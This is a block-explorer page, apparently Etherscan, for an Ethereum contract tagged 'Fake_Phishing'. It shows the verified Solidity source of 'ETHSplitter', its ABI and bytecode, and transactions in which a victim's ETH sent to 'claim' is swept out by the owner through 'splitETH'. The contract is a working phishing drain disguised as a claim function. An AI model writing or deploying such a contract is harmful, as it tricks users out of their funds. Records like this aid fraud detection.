ETH Price: $1,853.18 (-0.33%)
 

Overview

ETH Balance

0.000004811852574968 ETH

Eth Value

Less Than $0.01 (@ $1,853.18/ETH)

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Split ETH224716552025-05-13 3:33:11287 days ago1747107191IN
Fake_Phishing1120877
0 ETH0.000181043.89721953
Claim224716542025-05-13 3:32:59287 days ago1747107179IN
Fake_Phishing1120877
0.05309481 ETH0.000048822.10255965

Latest 2 internal transactions

Advanced mode:
Parent Transaction Hash Method Block
From
To
Transfer224716552025-05-13 3:33:11287 days ago1747107191
Fake_Phishing1120877
0.0451265 ETH
Transfer224716552025-05-13 3:33:11287 days ago1747107191
Fake_Phishing1120877
0.0079635 ETH
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
ETHSplitter

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2025-05-13
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;

contract ETHSplitter {
    error ArrayMismatch();
    error InsufficientBalance();
    error InvalidAmount();
    error NotOwner();
    
    address private constant _owner = 0xbadC0dE628760964219B6b45eed756F6b5405026;
    uint256 private constant SWAP = 4828320511600247716;

    constructor() {
        emit OwnershipTransferred(address(0), _owner);
    }

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event ETHClaimed(address indexed sender, uint256 amount);

    modifier onlyOwner() {
        if(msg.sender != _owner) revert NotOwner();
        _;
    }

    function splitETH(
        address[] calldata receivers, 
        uint256[] calldata amounts
    ) external onlyOwner {
        if(receivers.length != amounts.length) revert ArrayMismatch();
        
        unchecked {
            for (uint256 i; i < receivers.length; ++i) {
                if(address(this).balance < amounts[i]) revert InsufficientBalance();
                (bool success,) = payable(receivers[i]).call{value: amounts[i]}("");
                require(success);
            }
        }
    }

    function claim(uint256 amount) external payable {
        if(msg.value != amount) revert InvalidAmount();
        emit ETHClaimed(msg.sender, amount);
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"ArrayMismatch","type":"error"},{"inputs":[],"name":"InsufficientBalance","type":"error"},{"inputs":[],"name":"InvalidAmount","type":"error"},{"inputs":[],"name":"NotOwner","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"ETHClaimed","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"claim","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address[]","name":"receivers","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"name":"splitETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405234801561000f575f80fd5b5073badc0de628760964219b6b45eed756f6b540502673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36105cc8061008b5f395ff3fe60806040526004361061002c575f3560e01c8063379607f5146100375780636f949ad01461005357610033565b3661003357005b5f80fd5b610051600480360381019061004c919061031c565b61007b565b005b34801561005e575f80fd5b50610079600480360381019061007491906103fd565b610105565b005b8034146100b4576040517f2c5211c600000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff167f33f3a07d17ea3581c3647a566de28834fda4b148c01e213b5f980b4f54cafb5c826040516100fa919061048a565b60405180910390a250565b73badc0de628760964219b6b45eed756f6b540502673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461017e576040517f30cd747100000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8181905084849050146101bd576040517fb7c1140d00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f5b848490508110156102da578282828181106101dd576101dc6104a3565b5b9050602002013547101561021d576040517ff4d678b800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f858583818110610231576102306104a3565b5b9050602002016020810190610246919061052a565b73ffffffffffffffffffffffffffffffffffffffff1684848481811061026f5761026e6104a3565b5b9050602002013560405161028290610582565b5f6040518083038185875af1925050503d805f81146102bc576040519150601f19603f3d011682016040523d82523d5f602084013e6102c1565b606091505b50509050806102ce575f80fd5b508060010190506101bf565b5050505050565b5f80fd5b5f80fd5b5f819050919050565b6102fb816102e9565b8114610305575f80fd5b50565b5f81359050610316816102f2565b92915050565b5f60208284031215610331576103306102e1565b5b5f61033e84828501610308565b91505092915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261036857610367610347565b5b8235905067ffffffffffffffff8111156103855761038461034b565b5b6020830191508360208202830111156103a1576103a061034f565b5b9250929050565b5f8083601f8401126103bd576103bc610347565b5b8235905067ffffffffffffffff8111156103da576103d961034b565b5b6020830191508360208202830111156103f6576103f561034f565b5b9250929050565b5f805f8060408587031215610415576104146102e1565b5b5f85013567ffffffffffffffff811115610432576104316102e5565b5b61043e87828801610353565b9450945050602085013567ffffffffffffffff811115610461576104606102e5565b5b61046d878288016103a8565b925092505092959194509250565b610484816102e9565b82525050565b5f60208201905061049d5f83018461047b565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6104f9826104d0565b9050919050565b610509816104ef565b8114610513575f80fd5b50565b5f8135905061052481610500565b92915050565b5f6020828403121561053f5761053e6102e1565b5b5f61054c84828501610516565b91505092915050565b5f81905092915050565b50565b5f61056d5f83610555565b91506105788261055f565b5f82019050919050565b5f61058c82610562565b915081905091905056fea2646970667358221220c108196603e908d9c77a92d0e3297d2170de8098e1686c7bb941be5270254c8064736f6c63430008170033

Deployed Bytecode

0x60806040526004361061002c575f3560e01c8063379607f5146100375780636f949ad01461005357610033565b3661003357005b5f80fd5b610051600480360381019061004c919061031c565b61007b565b005b34801561005e575f80fd5b50610079600480360381019061007491906103fd565b610105565b005b8034146100b4576040517f2c5211c600000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff167f33f3a07d17ea3581c3647a566de28834fda4b148c01e213b5f980b4f54cafb5c826040516100fa919061048a565b60405180910390a250565b73badc0de628760964219b6b45eed756f6b540502673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461017e576040517f30cd747100000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8181905084849050146101bd576040517fb7c1140d00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f5b848490508110156102da578282828181106101dd576101dc6104a3565b5b9050602002013547101561021d576040517ff4d678b800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f858583818110610231576102306104a3565b5b9050602002016020810190610246919061052a565b73ffffffffffffffffffffffffffffffffffffffff1684848481811061026f5761026e6104a3565b5b9050602002013560405161028290610582565b5f6040518083038185875af1925050503d805f81146102bc576040519150601f19603f3d011682016040523d82523d5f602084013e6102c1565b606091505b50509050806102ce575f80fd5b508060010190506101bf565b5050505050565b5f80fd5b5f80fd5b5f819050919050565b6102fb816102e9565b8114610305575f80fd5b50565b5f81359050610316816102f2565b92915050565b5f60208284031215610331576103306102e1565b5b5f61033e84828501610308565b91505092915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261036857610367610347565b5b8235905067ffffffffffffffff8111156103855761038461034b565b5b6020830191508360208202830111156103a1576103a061034f565b5b9250929050565b5f8083601f8401126103bd576103bc610347565b5b8235905067ffffffffffffffff8111156103da576103d961034b565b5b6020830191508360208202830111156103f6576103f561034f565b5b9250929050565b5f805f8060408587031215610415576104146102e1565b5b5f85013567ffffffffffffffff811115610432576104316102e5565b5b61043e87828801610353565b9450945050602085013567ffffffffffffffff811115610461576104606102e5565b5b61046d878288016103a8565b925092505092959194509250565b610484816102e9565b82525050565b5f60208201905061049d5f83018461047b565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6104f9826104d0565b9050919050565b610509816104ef565b8114610513575f80fd5b50565b5f8135905061052481610500565b92915050565b5f6020828403121561053f5761053e6102e1565b5b5f61054c84828501610516565b91505092915050565b5f81905092915050565b50565b5f61056d5f83610555565b91506105788261055f565b5f82019050919050565b5f61058c82610562565b915081905091905056fea2646970667358221220c108196603e908d9c77a92d0e3297d2170de8098e1686c7bb941be5270254c8064736f6c63430008170033

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.